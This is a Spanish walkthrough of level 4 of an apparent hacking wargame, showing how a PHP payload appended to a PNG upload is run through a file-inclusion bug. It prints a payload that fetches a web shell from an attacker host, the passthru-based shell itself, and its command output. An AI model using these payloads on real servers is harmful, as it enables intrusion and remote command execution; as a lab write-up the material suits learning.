Saludos a todos,
esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en su modo de juego sencillo. Para el modo avanzado, aquellos que lo estén jugando y tengan alguna duda concreta estaremos encantados de resolverla por email.
esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en su modo de juego sencillo. Para el modo avanzado, aquellos que lo estén jugando y tengan alguna duda concreta estaremos encantados de resolverla por email.
Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:
- Información sobre el sistema
- Administración de MySQL mediante MySQL Admin
- Visualización de Estadísticas
- Cambio de parámetros
Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.
Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos phpSysInfo, y por otro phpMyAdmin. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.
No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.
Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección "Cambio de parámetros" la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.
Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:
- Únicamente permite ficheros con extensión PNG
- El tamaño del fichero está limitado a 8KB
- El contenido del fichero debe corresponder con una imagen PNG
Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:
$ cat >> img.png
<? phpinfo(); ?>
Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.
¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:
<? header("Content-Type: image/png"); readfile("01.png"); ?>
Por tanto, nuestro fichero subido sabemos que se llama "01.png" y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:
Como vemos, el contenido de la instrucción phpinfo() se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:
<? copy(“http://ip/shell.txt”,”shell.php”); ?>
Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.
El contenido de shell.txt puede ser el siguiente:
<?
header(“Content-Type: text/plain”);
passthru($_GET[“cmd”);
?>
El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable "cmd". De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php
Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:
<? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?>
Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x
Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:
http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a
Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux
http://www.blindware.inc/_controlp/shell.php?cmd=id
uid=500(blindware) gid=500(blindware) groups=500(blindware)
Hasta aquí ha llegado este 4º nivel, en el que hemos avanzado de nuevo hasta conseguir ejecutar comandos en el servidor. Os esperamos dentro de 15 días con el siguiente nivel.